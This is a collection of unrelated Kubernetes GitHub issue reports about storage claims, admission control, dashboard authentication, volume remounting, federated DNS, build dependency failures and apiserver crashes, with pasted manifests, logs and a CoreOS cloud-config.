template:\r     metadata:\r       labels:\r         run: my-stuff\r     spec:\r       containers:\r       - env:\r         - name: tcp_prometheus\r           value: \ :9090\ \r         image: local.container.repo/stuff:latest\r         name: my-stuff\r         ports:\r         - containerport: 9090\r           protocol: tcp\r         readinessprobe:\r           httpget:\r             path: '/metrics'\r             port: 9090\r         volumemounts:\r           - name: my-stuff-volume\r             mountpath: \ /stuff\ \r       volumes:\r         - name: my-stuff-volume\r           persistentvolumeclaim:\r             claimname: pvc-name-foobar1\r ---\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     prometheus.io/scrape: 'true'\r     prometheus.io/port: \ 9090\ \r   labels:\r     run: my-stuff\r   name: my-stuff\r spec:\r   ports:\r   - protocol: tcp\r     port: 9090\r   selector:\r     run: my-stuff\r \r    \r \r after all the things i tried, the best output i got for  kubectl get pvc  on the relevant namespace was this:\r \r    \r name                 status     volume             capacity   accessmodes   age\r pvc-name-foobar1     bound      pv-my-volume-name  20gi       rwo           27m\r pvc-name-foobar2     pending                                                27m\r pvc-name-foobar3     pending                                                27m\r    \r \r what i expected was\r \r    \r name                 status     volume             capacity   accessmodes   age\r pvc-name-foobar1     bound      pv-my-volume-name  5gi        rwo           27m\r pvc-name-foobar2     bound      pv-my-volume-name  5gi        rwo           27m\r pvc-name-foobar3     bound      pv-my-volume-name  5gi        rwo           27m\r    \r \r   anything else we need to know  :\r \r i'm currently left with no other option than to create a new ebs volume, add it  pv , add a claim  pvc , each time i want to ensure i'm not maxing out the disk space. this is possible, but very tedious, cumbersome, and doesn't allow me to horizontally scale  replicate x twice, and it won't be able to mount the volume thanks to rwo . i know some of the issues are caused by aws being a pita, but surely... if you can specify the resoure request in a pvc, it's not right for it to be completely ignored.\r \r i'm submitting this as a bug report because the documentation clearly shows a claim for  less  than the pv's size, and yet the pvc shows the full size  not even a multiple of the pvc size . i tried with a pvc of 3 gb, on a volume of 10gb  expecting to see 3, or perhaps 9 .\r \r besides, the linked page quite clearly states:\r \r >    the next step is to create a persistentvolumeclaim. pods use persistentvolumeclaims to request physical storage. in this exercise, you create a persistentvolumeclaim that requests a volume of at least three gibibytes that can provide read-write access for at least one node.\r \r it seems to me that this is not possible. or at least not following the documentation i found.

openshift/origin 15188 highlighted that some mutating admission controllers can result in failure to update pods  which includes removing finalizers  unless they are disabled.  psp is affected by this, but it is likely that users will want to turn psp on for existing clusters and still have some mechanism for grandfathering old pods  i.e, don't break the cluster .\r \r needs to be resolved before psp can be turned on for existing clusters at scale.

i'm not sure if we can classify it as a bug so let's discuss. \r \r    \r kubernetes version: 1.7.2\r client-go: 3.0.0  compatible with k8s 1.6+ \r    \r \r currently i'm trying to implement log in mechanism for kubernetes dashboard. i have noticed that when  authinfo  https://github.com/kubernetes/kubernetes/blob/ebf24c14a916adebc37023be69f112d2c97759a9/staging/src/k8s.io/client-go/tools/clientcmd/api/v1/types.go l79  is filled with username/password there are 2 cases where there is no check if credentials are valid and it falls back to anonymous user.\r \r 1.  --authorization-mode=abac  is not set\r 2.  --authorization-mode=abac  and  --authorization-policy-file=...  are set but  --basic-auth-file=...  is not set\r \r only in case i set all 3 parameters username/password combination is actually checked.\r \r i'm aware that in these cases code responsible for basic authorization is disabled but due to that it is hard to implement good log in mechanism. from dashboard point of view i'd expect to:\r \r 1. get response  unauthorized  if user tries to log in with username/password and basic auth is disabled or user/password is not correct.\r 2. be able to check which authorization modes are enabled and show only the ones supported by apiserver.\r \r is second option something that is possible to check using existing api?  kubectl api-versions  does not even list  abac...  api version. is it maybe possible to check 'name' of user? we could also reject login prompt if health check falls back to using anonymous user.\r \r @kubernetes/sig-auth-bugs

51355 asks for the global timeout to be exported as a flag.  it would be really nice to know how often this is being triggered.  so...\r \r 1. a monitoring variable that counts how many times we triggered this timeout.\r 2. another monitoring variable that counts the total number of requests it applied to.\r \r this lets us graph the timeout rate.\r \r  \r cc @jpbetz

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r  \r   what happened  :\r for pods that with attachable volumes on a node, after reboot the node, and if the pods are not terminated, these volumes will be in the unmounted state because the fstab information doesn't update, and the kubelet will not try to remount these volumes. \r \r   what you expected to happen  :\r after reboot the node, and if the pods are not terminated, the volumes should be remounted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r we should not mark the attachable volumes as mounted when starting kubelet  and reload these volumes, then the reconciler in volumemanager will remount them. and for the situation of just restart kubelet and didn't reboot the node , when reconciler try to remount, the method mountdevice in attacher and setup in mounter will check whether the dir is mounted, if already mounted, they will return nil and the mount volume operation will be succeed. so i think this change is feasible.\r \r just comment out a few lines of code, as follows：\r    \r func  rc  reconciler  updatestates volumesneedupdate map v1.uniquevolumename  reconstructedvolume  error {\r         ...\r         ...\r \r \t// get the list of volumes from desired state and update outervolumespecname if the information is avaiable\r \tvolumestomount := rc.desiredstateofworld.getvolumestomount  \r \tfor _, volumetomount := range volumestomount {\r \t\tif volume, exists := volumesneedupdate volumetomount.volumename ; exists {\r \t\t\tvolume.outervolumespecname = volumetomount.outervolumespecname\r \t\t\tvolumesneedupdate volumetomount.volumename  = volume\r \t\t\tglog.v 4 .infof \ update outervolumespecname from desired state for volume  %q : %q\ ,\r \t\t\t\tvolumetomount.volumename, volume.outervolumespecname \r \t\t}\r \t}\r \r \tfor _, volume := range volumesneedupdate {\r \t\terr := rc.actualstateofworld.markvolumeasattached \r \t\t\tvolume.volumename, volume.volumespec, \ \  /  nodename  /, volume.devicepath \r \t\tif err != nil {\r \t\t\tglog.errorf \ could not add volume information to actual state of world: %v\ , err \r \t\t\tcontinue\r \t\t}\r \r \t\terr = rc.actualstateofworld.addpodtovolume \r \t\t\tvolume.podname,\r \t\t\ttypes.uid volume.podname ,\r \t\t\tvolume.volumename,\r \t\t\tvolume.mounter,\r \t\t\tvolume.outervolumespecname,\r \t\t\tvolume.devicepath \r \t\tif err != nil {\r \t\t\tglog.errorf \ could not add pod to volume information to actual state of world: %v\ , err \r \t\t\tcontinue\r \t\t}\r \t\t//if volume.pluginisattachable {\r \t\t//\terr = rc.actualstateofworld.markdeviceasmounted volume.volumename \r \t\t//\tif err != nil {\r \t\t//\t\tglog.errorf \ could not mark device is mounted to actual state of world: %v\ , err \r \t\t//\t\tcontinue\r \t\t//\t}\r \t\t//}\r \t\t_, err = rc.desiredstateofworld.addpodtovolume volume.podname,\r \t\t\tvolume.pod,\r \t\t\tvolume.volumespec,\r \t\t\tvolume.outervolumespecname,\r \t\t\tvolume.volumegidvalue \r \t\tif err != nil {\r \t\t\tglog.errorf \ could not add pod to volume information to desired state of world: %v\ , err \r \t\t}\r \t}\r \treturn nil\r }\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i have a federation with two clusters in a gke cluster, the version is  v1.7.5  , show below:\r    \r $ kubectl get clusters --context=kfed\r name       status    age\r cluster1   ready     1h\r cluster2   ready     1h\r    \r when i create a federated loadbalancer service, the loadbalancer ingress are created in both clusters. \r    \r $ kubectl describe svc nginx --context=kfed\r name:\t\t\tnginx\r namespace:\t\tdefault\r labels:\t\t\tapp=nginx\r annotations:\t\tfederation.kubernetes.io/service-ingresses={}\r selector:\t\tapp=nginx\r type:\t\t\tloadbalancer\r ip:\t\t\t\r loadbalancer ingress:\t35.189.185.189, 35.200.87.19\r port:\t\t\thttp\t80/tcp\r endpoints:\t\t<none>\r session affinity:\tnone\r events:\t\t\t<none>\r    \r \r however, when only cluster1 has healthy endpoints  i create deployment use --context=cluster1 , there \r  are not  cname records in dns with cluster2. dns should create cname records with cluster2 \r    \r $ kubectl describe svc nginx --context=kfed\r name:\t\t\tnginx\r namespace:\t\tdefault\r labels:\t\t\tapp=nginx\r annotations:\t\tfederation.kubernetes.io/service-ingresses={\ items\ : {\ cluster\ :\ cluster1\ ,\ items\ : {\ ip\ :\ 35.189.185.189\ } } }\r selector:\t\tapp=nginx\r type:\t\t\tloadbalancer\r ip:\t\t\t\r loadbalancer ingress:\t35.189.185.189, 35.200.87.19\r port:\t\t\thttp\t80/tcp\r endpoints:\t\t<none>\r session affinity:\tnone\r events:\t\t\t<none>\r \r $ kubectl create -f deployment.yaml --context=cluster1\r \r $ gcloud  dns record-sets list --zone=kfed\r name                                                                 type  ttl    data\r infra.mycompany.com.                                                 ns    21600  ns-cloud-e1.googledomains.com.,ns-cloud-e2.googledomains.com.,ns-cloud-e3.googledomains.com.,ns-cloud-e4.googledomains.com.\r infra.mycompany.com.                                                 soa   21600  ns-cloud-e1.googledomains.com. cloud-dns-hostmaster.google.com. 1 21600 3600 259200 300\r nginx.default.kfed.svc.asia-east1-c.asia-east1.infra.mycompany.com.  a     180    35.189.185.189\r nginx.default.kfed.svc.asia-east1.infra.mycompany.com.               a     180    35.189.185.189\r nginx.default.kfed.svc.infra.mycompany.com.                          a     180    35.189.185.189\r    \r \r when i create healthy endpoints in cluster2,the dns records correct  show below:\r    \r $ kubectl create -f deployment.yaml --context=cluster2\r \r $ kubectl describe svc nginx --context=kfed\r name:\t\t\tnginx\r namespace:\t\tdefault\r labels:\t\t\tapp=nginx\r annotations:\t\tfederation.kubernetes.io/service-ingresses={\ items\ : {\ cluster\ :\ cluster1\ ,\ items\ : {\ ip\ :\ 35.189.185.189\ } },{\ cluster\ :\ cluster2\ ,\ items\ : {\ ip\ :\ 35.200.87.19\ } } }\r selector:\t\tapp=nginx\r type:\t\t\tloadbalancer\r ip:\t\t\t\r loadbalancer ingress:\t35.189.185.189, 35.200.87.19\r port:\t\t\thttp\t80/tcp\r endpoints:\t\t<none>\r session affinity:\tnone\r events:\t\t\t<none>\r \r $ gcloud  dns record-sets list --zone=kfed\r name                                                                           type  ttl    data\r infra.mycompany.com.                                                           ns    21600  ns-cloud-e1.googledomains.com.,ns-cloud-e2.googledomains.com.,ns-cloud-e3.googledomains.com.,ns-cloud-e4.googledomains.com.\r infra.mycompany.com.                                                           soa   21600  ns-cloud-e1.googledomains.com. cloud-dns-hostmaster.google.com. 1 21600 3600 259200 300\r nginx.default.kfed.svc.asia-east1-c.asia-east1.infra.mycompany.com.            a     180    35.189.185.189\r nginx.default.kfed.svc.asia-east1.infra.mycompany.com.                         a     180    35.189.185.189\r nginx.default.kfed.svc.asia-northeast1-c.asia-northeast1.infra.mycompany.com.  a     180    35.200.87.19\r nginx.default.kfed.svc.asia-northeast1.infra.mycompany.com.                    a     180    35.200.87.19\r nginx.default.kfed.svc.infra.mycompany.com.                                    a     180    35.189.185.189,35.200.87.19\r    \r and when i delete deployment in cluster2, the related records not update properly.\r    \r $ kubectl delete -f deployment.yaml --context=cluster2\r deployment \ nginx-deployment\  deleted\r \r $ kubectl describe svc nginx --context=kfed\r name:\t\t\tnginx\r namespace:\t\tdefault\r labels:\t\t\tapp=nginx\r annotations:\t\tfederation.kubernetes.io/service-ingresses={\ items\ : {\ cluster\ :\ cluster1\ ,\ items\ : {\ ip\ :\ 35.189.185.189\ } } }\r selector:\t\tapp=nginx\r type:\t\t\tloadbalancer\r ip:\t\t\t\r loadbalancer ingress:\t35.189.185.189, 35.200.87.19\r port:\t\t\thttp\t80/tcp\r endpoints:\t\t<none>\r session affinity:\tnone\r events:\t\t\t<none>\r \r $ gcloud  dns record-sets list --zone=kfed\r name                                                                           type  ttl    data\r infra.mycompany.com.                                                           ns    21600  ns-cloud-e1.googledomains.com.,ns-cloud-e2.googledomains.com.,ns-cloud-e3.googledomains.com.,ns-cloud-e4.googledomains.com.\r infra.mycompany.com.                                                           soa   21600  ns-cloud-e1.googledomains.com. cloud-dns-hostmaster.google.com. 1 21600 3600 259200 300\r nginx.default.kfed.svc.asia-east1-c.asia-east1.infra.mycompany.com.            a     180    35.189.185.189\r nginx.default.kfed.svc.asia-east1.infra.mycompany.com.                         a     180    35.189.185.189\r nginx.default.kfed.svc.asia-northeast1-c.asia-northeast1.infra.mycompany.com.  a     180    35.200.87.19\r nginx.default.kfed.svc.asia-northeast1.infra.mycompany.com.                    a     180    35.200.87.19\r nginx.default.kfed.svc.infra.mycompany.com.                                    a     180    35.189.185.189\r    \r the  nginx.default.kfed.svc.infra.mycompany.com.   record update  35.189.185.189,35.200.87.19  to  35.189.185.189 , but  nginx.default.kfed.svc.asia-northeast1-c.asia-northeast1.infra.mycompany.com.  and  nginx.default.kfed.svc.asia-northeast1.infra.mycompany.com.    didn't update to cname.\r \r also when i delete lb service, the dns records show below:\r    \r $ gcloud  dns record-sets list --zone=kfed\r name                                                                           type   ttl    data\r infra.mycompany.com.                                                           ns     21600  ns-cloud-e1.googledomains.com.,ns-cloud-e2.googledomains.com.,ns-cloud-e3.googledomains.com.,ns-cloud-e4.googledomains.com.\r infra.mycompany.com.                                                           soa    21600  ns-cloud-e1.googledomains.com. cloud-dns-hostmaster.google.com. 1 21600 3600 259200 300\r nginx.default.kfed.svc.asia-east1-c.asia-east1.infra.mycompany.com.            cname  180    nginx.default.kfed.svc.asia-east1.infra.mycompany.com.\r nginx.default.kfed.svc.asia-east1.infra.mycompany.com.                         cname  180    nginx.default.kfed.svc.infra.mycompany.com.\r nginx.default.kfed.svc.asia-northeast1-c.asia-northeast1.infra.mycompany.com.  a      180    35.200.87.19\r nginx.default.kfed.svc.asia-northeast1.infra.mycompany.com.                    a      180    35.200.87.19\r    \r which confuse me that record  nginx.default.kfed.svc.asia-east1-c.asia-east1.infra.mycompany.com.   and  nginx.default.kfed.svc.asia-east1.infra.mycompany.com.   update to cname which desire to be deleted.\r \r the problems same in v1.6.9\r \r \r  \r /cc @kubernetes/sig-federation-bugs @quinton-hoole

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   / \r   what happened  :\r see in:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/55227/pull-kubernetes-verify/60511/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/55223/pull-kubernetes-verify/60478/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/55212/pull-kubernetes-verify/60494/\r and others.\r \r some failure info are as below. seems like failed dep are all from \ golang.org\ \r    \r i1107 10:07:04.082  +++  1107 10:07:04  restoring kubernetes godeps\r i1107 10:07:04.166  +++  1107 10:07:04  downloading dependencies - this might take a while\r w1107 10:09:08.066  godep: error downloading dep  golang.org/x/crypto/bcrypt : unrecognized import path \ golang.org/x/crypto/bcrypt\ \r w1107 10:09:08.964  godep: error downloading dep  golang.org/x/crypto/blowfish : unrecognized import path \ golang.org/x/crypto/blowfish\ \r w1107 10:09:11.170  godep: error downloading dep  golang.org/x/crypto/poly1305 : unrecognized import path \ golang.org/x/crypto/poly1305\ \r w1107 10:09:12.967  godep: error downloading dep  golang.org/x/exp/inotify : unrecognized import path \ golang.org/x/exp/inotify\ \r w1107 10:09:14.525  godep: error downloading dep  golang.org/x/net/html/atom : unrecognized import path \ golang.org/x/net/html/atom\ \r w1107 10:09:15.226  godep: error downloading dep  golang.org/x/net/http2 : unrecognized import path \ golang.org/x/net/http2\ \r w1107 10:09:16.098  godep: error downloading dep  golang.org/x/net/http2/hpack : unrecognized import path \ golang.org/x/net/http2/hpack\ \r w1107 10:09:17.340  godep: error downloading dep  golang.org/x/net/trace : unrecognized import path \ golang.org/x/net/trace\ \r w1107 10:09:18.959  godep: error downloading dep  golang.org/x/oauth2/internal : unrecognized import path \ golang.org/x/oauth2/internal\ \r w1107 10:09:21.270  godep: error downloading dep  golang.org/x/sys/windows : unrecognized import path \ golang.org/x/sys/windows\ \r w1107 10:09:25.952  godep: error downloading dep  golang.org/x/text/secure/precis : unrecognized import path \ golang.org/x/text/secure/precis\ \r w1107 10:09:26.746  godep: error downloading dep  golang.org/x/text/unicode/norm : unrecognized import path \ golang.org/x/text/unicode/norm\ \r w1107 10:09:27.623  godep: error downloading dep  golang.org/x/text/width : unrecognized import path \ golang.org/x/text/width\ \r w1107 10:09:47.751  godep: error downloading some deps. aborting restore and check.\r w1107 10:09:48.070  !!!  1107 10:09:48  call tree:\r w1107 10:09:48.072  !!!  1107 10:09:48   1: /go/src/k8s.io/kubernetes/build/../build/common.sh:551 kube::build::run_build_command_ex ... \r w1107 10:09:48.074  !!!  1107 10:09:48   2: /go/src/k8s.io/kubernetes/build/run.sh:39 kube::build::run_build_command ... \r i1107 10:09:48.174  failed   hack/make-rules/../../hack/verify-staging-godeps.sh\t180s\r    \r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r when  fsgroup  is specified in a  securitycontext , the value of the fsgroup is not passed to the csi driver to properly setup ownership. \r \r   what you expected to happen  :\r the value of the  fsgroup  should be applied to the mounted path.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a pod similar to the following \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: security-context-demo\r spec:\r   securitycontext:\r     fsgroup: 2000\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r  kubectl get all,svc,service \r outputs show the same entries for services,svc,service.\r \r    \r name             type        cluster-ip   external-ip   port s    age\r svc/kubernetes   clusterip   10.0.0.1     <none>        443/tcp   9m\r svc/kubernetes   clusterip   10.0.0.1     <none>        443/tcp   9m\r svc/kubernetes   clusterip   10.0.0.1     <none>        443/tcp   9m\r    \r \r   what you expected to happen  :\r treat resource shortcuts, plurals the same thing on kubectl side instead of doing multiple requests to servers, and outputs shold not duplicate entires.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl get all,svc \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r after upgrade to version 1.9.4-gke.1 on google cloud platform, all of our pods that are supposed to be terminated keeps in a perpetual \ terminating\  status:\r    killing container with id docker://app:need to kill pod   \r \r   what you expected to happen  :\r the pod should be terminated\r \r   how to reproduce it  as minimally and precisely as possible   :\r upgrade to version 1.9.4 and update an image or delete a pod associated with a deployment.\r \r   environment  :\r - kubernetes version: \r    client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:29:47z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.4-gke.1\ , gitcommit:\ 10e47a740d0036a4964280bd663c8500da58e3aa\ , gittreestate:\ clean\ , builddate:\ 2018-03-13t18:00:36z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }   \r - cloud provider: google cloud platform\r

typecheck currently lives here:\r https://github.com/kubernetes/kubernetes/tree/master/test/typecheck\r \r it would be great to move it out of the main k/k repository and use it as a command line tool for any repository. i've tried with cloud-provider-openstack and it seems to work well.

we build our own container for it, we should probably make that reproducible.

kubernetes release 1.0.2 on a couple of digitialocean coreos stable 723.3.0 machines with a cloud-config.yaml.  i am having lots of issues with kube-apiserver crashing on the master machine:    kube-apiserver errors:        aug 07 04:52:03 master kube-apiserver 5792 : i0807 04:52:03.860951    5792 plugins.go:69  no cloud provider specified. aug 07 04:52:03 master kube-apiserver 5792 : i0807 04:52:03.862682    5792 master.go:273  node port range unspecified. defaulting to 30000-32767. aug 07 04:52:03 master kube-apiserver 5792 :  restful  2015/08/07 04:52:03 log.go:30:  restful/swagger  listing is available at https://46.101.171.12:6443/swaggerapi/ aug 07 04:52:03 master kube-apiserver 5792 :  restful  2015/08/07 04:52:03 log.go:30:  restful/swagger  https://46.101.171.12:6443/swaggerui/ is mapped to folder /swagger-ui/ aug 07 04:52:14 master kube-apiserver 5792 : f0807 04:52:14.220342    5792 controller.go:80  unable to perform initial ip allocation check: unable to refresh the service ip block: 501: all the given peers are not reachable  failed to propose on members  http://localhost:2379  twice  last error: get http://localhost:2379/v2/keys/registry/ranges/serviceips?quorum=false&recursive=false&sorted=false: dial tcp: lookup localhost: no such host    0         kube-controller-manager and kube-scheduler:   _ which are likely caused by kube-apiserver being unavailable on port 8080 _      aug 07 05:05:23 master2 kube-controller-manager 918 : e0807 05:05:23.124385     918 reflector.go:136  failed to list  api.persistentvolume: get http://127.0.0.1:8080/api/v1/persistentvolumes: dial tcp 127.0.0.1:8080: connection refused aug 07 05:05:23 master2 kube-controller-manager 918 : e0807 05:05:23.125390     918 reflector.go:136  failed to list  api.persistentvolumeclaim: get http://127.0.0.1:8080/api/v1/persistentvolumeclaims: dial tcp 127.0.0.1:8080: connection refused aug 07 05:05:23 master2 kube-controller-manager 918 : e0807 05:05:23.125422     918 reflector.go:136  failed to list  api.persistentvolume: get http://127.0.0.1:8080/api/v1/persistentvolumes: dial tcp 127.0.0.1:8080: connection refused          aug 07 05:06:51 master2 kube-scheduler 1181 : e0807 05:06:51.812923    1181 reflector.go:136  failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=spec.unschedulable%3dfalse: dial tcp 127.0.0.1:8080: connection refused aug 07 05:06:51 master2 kube-scheduler 1181 : e0807 05:06:51.813797    1181 reflector.go:136  failed to list  api.pod: get http://127.0.0.1:8080/api/v1/pods?fieldselector=spec.nodename%21%3d: dial tcp 127.0.0.1:8080: connection refused aug 07 05:06:51 master2 kube-scheduler 1181 : e0807 05:06:51.813863    1181 reflector.go:136  failed to list  api.pod: get http://127.0.0.1:8080/api/v1/pods?fieldselector=spec.nodename%3d: dial tcp 127.0.0.1:8080: connection refused aug 07 05:06:51 master2 kube-scheduler 1181 : e0807 05:06:51.814495    1181 reflector.go:136  failed to list  api.service: get http://127.0.0.1:8080/api/v1/services: dial tcp 127.0.0.1:8080: connection refused        cloud-config file for master        yaml  cloud-config  coreos:   etcd2:       https://discovery.etcd.io/new?size=2      discovery: https://discovery.etcd.io/6b54b1f7e80e49de49e6440256cbb937     name: master     initial-cluster-token: k8s_etcd     initial-cluster: master=http://$public_ipv4:2380     advertise-client-urls: http://$public_ipv4:2379     initial-advertise-peer-urls: http://$public_ipv4:2380     listen-client-urls: http://0.0.0.0:2379     listen-peer-urls: http://$public_ipv4:2380   fleet:     public-ip: $public_ipv4     used for fleetctl ssh command     etcd_servers: http://127.0.0.1:2379     metadata: k8srole=master   flannel:     etcd_endpoints: http://localhost:2379   locksmithd:     endpoint: http://localhost:2379   units:     - name: etcd2.service       command: start     - name: fleet.service       command: start     - name: flanneld.service       drop-ins:         - name: 50-network-config.conf           content: |              service              execstartpre=/usr/bin/etcdctl set /coreos.com/network/config '{ \ network\ : \ 10.100.0.0/16\ , \ backend\ : {\ type\ : \ vxlan\ } }'       command: start     - name: get-kubectl.service       command: start       content: |          unit          description=get kubectl client tool         documentation=https://github.com/googlecloudplatform/kubernetes         requires=network-online.target         after=network-online.target          service          execstart=/usr/bin/wget -n -p /opt/bin https://storage.googleapis.com/kubernetes-release/release/v1.0.2/bin/linux/amd64/kubectl         execstart=/usr/bin/chmod +x /opt/bin/kubectl         type=oneshot         remainafterexit=true     - name: kube-apiserver.service       command: start       content: |          unit          description=kubernetes api server         documentation=https://github.com/googlecloudplatform/kubernetes                   requires=etcd2-waiter.service                   after=etcd2-waiter.service          service          execstartpre=/usr/bin/wget -n -p /opt/bin https://storage.googleapis.com/kubernetes-release/release/v1.0.2/bin/linux/amd64/kube-apiserver         execstartpre=/usr/bin/chmod +x /opt/bin/kube-apiserver         execstart=/opt/bin/kube-apiserver \\         --insecure-bind-address=0.0.0.0 \\         --service-cluster-ip-range=10.100.0.0/16 \\         --etcd-servers=http://localhost:2379 \\         --bind-address=$public_ipv4         restart=always         restartsec=10     - name: kube-controller-manager.service       command: start       content: |          unit          description=kubernetes controller manager         documentation=https://github.com/googlecloudplatform/kubernetes         requires=kube-apiserver.service         after=kube-apiserver.service          service          execstartpre=/usr/bin/wget -n -p /opt/bin https://storage.googleapis.com/kubernetes-release/release/v1.0.2/bin/linux/amd64/kube-controller-manager         execstartpre=/usr/bin/chmod +x /opt/bin/kube-controller-manager         execstart=/opt/bin/kube-controller-manager \\         --master=127.0.0.1:8080         restart=always         restartsec=10     - name: kube-scheduler.service       command: start       content: |          unit          description=kubernetes scheduler         documentation=https://github.com/googlecloudplatform/kubernetes         requires=kube-apiserver.service         after=kube-apiserver.service          service          execstartpre=/usr/bin/wget -n -p /opt/bin https://storage.googleapis.com/kubernetes-release/release/v1.0.2/bin/linux/amd64/kube-scheduler         execstartpre=/usr/bin/chmod +x /opt/bin/kube-scheduler         execstart=/opt/bin/kube-scheduler \\         --master=127.0.0.1:8080         restart=always         restartsec=10     - name: kube-register.service       command: start       content: |          unit          description=kubernetes registration service         documentation=https://github.com/kelseyhightower/kube-register         requires=kube-apiserver.service fleet.service         after=kube-apiserver.service fleet.service          service          execstartpre=-/usr/bin/wget -nc -o /opt/bin/kube-register https://github.com/kelseyhightower/kube-register/releases/download/v0.0.4/kube-register-0.0.4-linux-amd64         execstartpre=/usr/bin/chmod +x /opt/bin/kube-register         execstart=/opt/bin/kube-register \\         --metadata=k8srole=node \\         --fleet-endpoint=unix:///var/run/fleet.sock \\         --api-endpoint=http://127.0.0.1:8080         restart=always         restartsec=10

issue:   when clicking on either of the api pages   operations  http://kubernetes.io/v1.0/docs/api-reference/operations.html  or  definitions  http://kubernetes.io/v1.0/docs/api-reference/definitions.html  , the font and color of the navigation menu incorrectly change and you cannot visually tell what topic you are in.     possible solution:   we need to stop those api pages from overriding our site's font and color by removing those lines of css from the source .html files.    examples:   here is our sites font and color  how it should display - the parent topic is selected and highlighted blue : ! image  https://cloud.githubusercontent.com/assets/11762685/10383561/61cb9364-6de5-11e5-9e93-82f3665db045.png   but when you click  operations  http://kubernetes.io/v1.0/docs/api-reference/operations.html  or  definitions  http://kubernetes.io/v1.0/docs/api-reference/definitions.html , the font and color change  here you cannot tell that \ definitions\  is selected : ! image  https://cloud.githubusercontent.com/assets/11762685/10383594/ea443bb0-6de5-11e5-89bb-5dd0997922b1.png

i believe this is a similar problem to  11543.  when mounting ebs volumes:      aws_util.go:182  error attaching pd \ aws://eu-west-1a/vol-2ac4c9e9\ : error finding instance localhostname: no instances found for name: localhostname      it uses gethostname   instead of looking up the private-dns-name of the instance.

we have started waiting for caches to sync before starting any worker in various controllers mostly downstream but also in a couple of places in kube  eg. https://github.com/kubernetes/kubernetes/blob/c0e79d8da731e52312451f017cb44240831576d4/pkg/controller/deployment/deployment_controller.go l200 . instead of it being a simple pattern controller authors should follow we should somehow bake it in the controller framework.  cc: @deads2k

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r as a follow-up on the discussion that we had on  43171 and sig-scheduling meeting, i wish to consolidate the points that were raised there wrt taints logic sprawl in kubectl.\r \r - some functions like reorganizetaints in taints.go in pkg/kubectl/cmd/ need to moved to another location either api/helpers.go or new taintcontroller pkg  - @gmarek, @timothysc \r - refactor the testing suite to reflect the new changes.\r \r those are specific to the kubectl. \r \r /cc @timothysc @gmarek @aveshagarwal @k82cn @adohe @jayunit100\r \r please add other files if you happen ned  to work or if you know.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r   what you expected to happen  :\r as the  doc  1  says:\r \r > newer resources, such as job, deployment, replica set, and daemon set, support set-based requirements as well.\r \r    1 : https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/\r \r i want to get _endpoints_ by _service_ that select _pods_ with   key   =   v1   or   v2  . is there any way to do so?\r \r 

before working to start working on  56514 , we need to make changes to the eventrecorder so that it can handles event series.\r \r  the design doc.  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/instrumentation/events-redesign.md  shows how it will work.\r \r  \r cc @gmarek

the auth integration test is flaky. this is a sample failure:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/57767/pull-kubernetes-unit/73004/

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r cni apis are understood by a kubelet built-in module,  the kubernetes network driver, which is is linked, compiled, built, and shipped with kubelet. third party network plugins have to provide executable cni plugin binaries and a network configuration file. this is undesirable for many reasons:\r \r   cni is coupled with kubernetes and kubernetes needs to bump its version once cni releases a new version.\r   users may want extensibility beyond just cni.\r \r \r   added bunch of cni and network related flags to kubelet: cni-bin-dir, cni-conf-dir, hairpin-mode, network-plugin-mtu etc.\r \r \r   network plugins require write access to the root filesystem of the nodes in order to provide cni plugin binary and network configuration file.\r \r \r   some third-party cni plugins are oneshots and do not necessarily run as daemon processes, it is difficult for them to cleanly manage network configuration state, 